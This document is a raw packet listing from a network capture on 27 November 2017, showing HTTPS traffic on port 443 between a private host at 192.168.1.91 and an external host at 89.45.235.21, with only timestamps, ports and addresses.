Nov 27, 2017 12:34:33.437541962 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.437565088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.439801931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.439827919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.440031052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.440056086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.444019079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.444048882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.444333076 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.444360971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.446409941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.446432114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.446441889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.446469069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.446516991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.446666956 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.446691990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.448364019 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.450814962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.450845957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.450853109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.451122046 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.452188969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.452210903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.452224970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.452413082 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.452447891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.455750942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.455771923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.456410885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.456439018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.461672068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.461704969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.461966038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.461990118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.468133926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.468164921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.468415976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.468451977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.477667093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.477696896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.477794886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.477807999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.477832079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478003025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478013992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478020906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478029013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478472948 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.478506088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478518009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478523970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.478528976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.479101896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.481913090 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.483732939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.483758926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.483781099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.484069109 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.484097004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.490948915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.490978003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.491238117 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.491266012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.498703957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.498727083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.498836994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.498853922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.498871088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.498980045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.498996019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.499006987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.499088049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.499826908 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.499855995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.499870062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.501247883 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.503794909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.503818989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.503842115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.503936052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.503940105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.503953934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.503973961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.505295038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.511360884 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.514118910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.523261070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.523284912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.523448944 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.523469925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.524446964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.524461031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.524568081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.524590015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.556524038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.556560040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.556582928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.556637049 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.556674957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.557269096 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.569281101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.569319963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.569349051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.569551945 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.577322960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.577361107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.577388048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.577572107 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.584739923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.584779024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.584795952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.585017920 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.585262060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.585283995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.585298061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.585438967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.586812973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.586838961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.586849928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.587006092 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.591789961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.613054991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.613312960 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.613342047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.617194891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.617224932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.617326021 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.617351055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.619993925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.620024920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.620127916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.620132923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.620147943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.620163918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.620187044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.620498896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.620575905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.632822037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.632863045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.633052111 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.633083105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.639679909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.639712095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.639915943 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.639944077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.652803898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.652844906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.653074026 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.653103113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.666918993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.666960955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.667174101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.667201996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.671004057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.671049118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.671072006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.671215057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.671240091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.678363085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.678401947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.678632021 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.678658962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.691221952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.691263914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.691476107 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.691500902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.709170103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.709208965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.709413052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.709441900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.716423988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.716465950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.716541052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.716633081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.716664076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.717128038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.717158079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.717286110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.717309952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.724412918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.724450111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.724977970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.725001097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.748336077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.748374939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.748514891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.748544931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.748821974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.748851061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.748934984 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.748955965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.754770041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.754806995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.754897118 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.754920959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.785253048 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.785764933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.785794020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.785811901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.785851002 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.787336111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.787368059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.787445068 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.787463903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.793668032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.793706894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.793720961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.795757055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.795787096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.797624111 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.800734997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.800750017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.803729057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.803759098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.810008049 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.821211100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.821228981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.821245909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.821374893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.822525978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.822550058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.822560072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.822675943 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.827447891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.827480078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.827498913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.827584982 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.834553003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.852598906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.852641106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.852817059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.852850914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.861336946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.861372948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.861552954 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.861583948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.863358021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.863384962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.863585949 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.863620996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.869878054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.869904041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.869976044 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.869996071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.882005930 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.886393070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.888202906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.888219118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.888289928 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.888309002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.893614054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.893632889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.896343946 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.896362066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.902012110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.914129019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.914144993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.914160013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.914213896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.915082932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.915107012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.915116072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.915169001 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.918112040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.918142080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.918556929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.923213005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.931447029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.931477070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.931510925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.931574106 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.942399025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.942420959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.942491055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.942512989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.943670988 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.951133013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.951350927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.951364040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.951457024 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.951472998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.952975988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.952992916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.955703020 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.955724001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.983757019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.983771086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.983789921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.983845949 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.983866930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.984771967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.984785080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.984899044 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.984915972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.048804998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.048841953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.049177885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.049196005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.069673061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.069680929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.070260048 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.070272923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.097248077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.097444057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.097457886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.104322910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.104504108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.104552984 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.104573965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.105038881 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.114960909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.114989996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.114999056 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.115215063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.121979952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.131449938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.131561041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.131740093 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.131757975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.138467073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.138500929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.138629913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.138652086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.163429976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.163463116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.163470984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.163876057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.163903952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.164602995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.164643049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.164906979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.164930105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.178801060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.178828955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.178953886 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:34.178980112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.192812920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.192837000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:34.192946911 CET	443	49165	89.45.235.21	192.168.1.91
